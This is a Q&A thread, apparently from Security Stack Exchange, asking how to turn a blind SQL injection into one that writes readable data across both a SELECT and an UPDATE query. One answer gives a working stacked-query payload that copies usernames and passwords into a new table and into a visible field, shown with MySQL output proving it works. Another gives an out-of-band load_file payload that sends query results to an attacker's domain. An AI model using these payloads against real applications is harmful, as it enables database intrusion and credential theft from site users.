1

I have a problem and I'm hoping someone could help with a POC.

In a web application, attacker controlled parameter X is used is used unsanitized in two separate SQL queries within the same function.

The first query is a SELECT statement of form

SELECT description FROM users WHERE id IN (X)

The second query is an UPDATE statement of form

UPDATE users SET description=Y WHERE id IN (X)

Where Y mainly contains the result of the above SELECT statement. The attacker can read the contents of the description field through the web application.

I have a POC for a blind injection here, but I would like to achieve more. With a UNION statement I can access extra data through the SELECT query, however this keeps breaking the syntax for the UPDATE query, causing it to fail and preventing me from writing the accessed data to the description field successfully.

Does anyone have advice on an injection which will allow both the queries to succeed? Or is this only ever going to be a blind injection?

The application does not display errors so that is not an option.

2
  • The question is off-topic on Security SE.
    – mentallurg
    Commented Mar 2, 2023 at 6:13
  • Why is it off topic? Seems perfectly on topic to me
    – wireghoul
    Commented Mar 2, 2023 at 23:17

2 Answers 2

1

Does your code allow putting multiple statements in the same query?

E.g. to append

); next query; next query; etc

Would that work? I did a little experiment which indicates that if you can append queries you may achieve what you want. In my experiment I used only one id (with value 1), and appended the following:

1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1)

with that, I was able to construct an update statement that does not break:

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| users          |
+----------------+
1 row in set (0.01 sec)

mysql> select * from users;
+----+----------+-------------+-------------+
| id | username | password    | description |
+----+----------+-------------+-------------+
|  1 | spyros   | my-password | test-data   |
+----+----------+-------------+-------------+
1 row in set (0.00 sec)

mysql> select description from users where id in (1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1));
+-------------+
| description |
+-------------+
| test-data   |
+-------------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.02 sec)

Query OK, 1 row affected (0.00 sec)
Records: 1  Duplicates: 0  Warnings: 0

Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+----+----------+-------------+--------------------+
| id | username | password    | description        |
+----+----------+-------------+--------------------+
|  1 | spyros   | my-password | spyros:my-password |
+----+----------+-------------+--------------------+
1 row in set (0.00 sec)

mysql> select * from hack;
+----+--------------------+
| id | hacked_data        |
+----+--------------------+
|  1 | spyros:my-password |
+----+--------------------+
1 row in set (0.00 sec)

mysql> update users set description = 'test-data' where id in (1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1));
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Query OK, 0 rows affected, 1 warning (0.00 sec)

Query OK, 0 rows affected, 1 warning (0.00 sec)
Records: 1  Duplicates: 1  Warnings: 1

Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+----+----------+-------------+--------------------+
| id | username | password    | description        |
+----+----------+-------------+--------------------+
|  1 | spyros   | my-password | spyros:my-password |
+----+----------+-------------+--------------------+
1 row in set (0.00 sec)

mysql> 

I hope this helps.

0

You can wrap the sql statement in a one UPDATE statement.

UPDATE users SET users.description = Y FROM users WHERE users.id in (SELECT description FROM users WHERE id IN (X) UNION SELECT description FROM users WHERE id IN (Z))

secondly, I can recommend you try OOB to receive data and UPDATE with what you receive. So your injection can take two steps and doesn't have to break syntax. since you are using mysql injection, it'd look something like this,

SELECT load_file(CONCAT('\\\\',(SELECT description FROM users WHERE id IN (X)),'.',(SELECT description FROM users WHERE id IN (Z)), '.',myMaliciousdomain.com\\mypathReceiver.txt'))

then as your server receives data, you can automate it to send requests to target server using language of your preference. this way, you can automate all while breaking into parts.

If the data returned is too big, you can try to stiff your select paramaters so that your subdomain link works surely. I recommend you check this link for load_file() function

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .